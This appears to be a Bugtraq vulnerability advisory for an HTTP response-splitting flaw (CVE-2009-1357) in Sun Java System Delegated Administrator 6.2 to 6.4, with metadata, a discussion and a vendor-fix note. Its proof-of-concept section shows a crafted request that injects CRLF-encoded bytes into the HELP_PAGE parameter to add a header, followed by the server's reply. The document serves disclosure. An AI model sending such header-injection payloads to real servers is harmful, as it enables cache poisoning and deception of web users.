Sun Java System Delegated Administrator HTTP Response Splitting Vulnerability

BID:34643

Info

Sun Java System Delegated Administrator HTTP Response Splitting Vulnerability

Bugtraq ID: 34643
Class: Input Validation Error
CVE: CVE-2009-1357
Remote: Yes
Local: No
Published: Apr 21 2009 12:00AM
Updated: Apr 21 2009 12:00AM
Credit: SCS team from Core Security Technologies
Vulnerable: Sun Java System Delegated Administrator 6.4
Sun Java System Delegated Administrator 6.3
Sun Java System Delegated Administrator 6.2
Not Vulnerable:

Discussion

Sun Java System Delegated Administrator HTTP Response Splitting Vulnerability

Sun Java System Delegated Administrator is prone to an HTTP response-splitting vulnerability because it fails to sufficiently sanitize user-supplied data.

Attackers can leverage this issue to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust.

Exploit / POC

Sun Java System Delegated Administrator HTTP Response Splitting Vulnerability

To exploit this issue, an attacker must entice an unsuspecting victim into following a malicious URI.

The following example HTTP session is available:

$ openssl s_client -connect <server>:443

GET
/da/DA/Login?Login.HelpHREF=http://www.example.com/&com_sun_web_ui_popup=false&HELP_PAGE=/help/%0AX-Tag:%20Core%20Security%20Technologies%0A%0D&jato.pageSession=
HTTP/1.1
Host: <server>

HTTP/1.1 302 Moved Temporarily
Server: Sun-Java-System-Web-Server/7.0
Date: Mon, 20 Apr 2009 18:21:48 GMT
Cache-control: private
Location: <server>
X-Tag: Core Security Technologies
Content-length: 0
Content-type: text/htm

Solution / Fix

Sun Java System Delegated Administrator HTTP Response Splitting Vulnerability

Solution:
The vendor has released fixes and an advisory. Please see the references for more information.

References

Sun Java System Delegated Administrator HTTP Response Splitting Vulnerability

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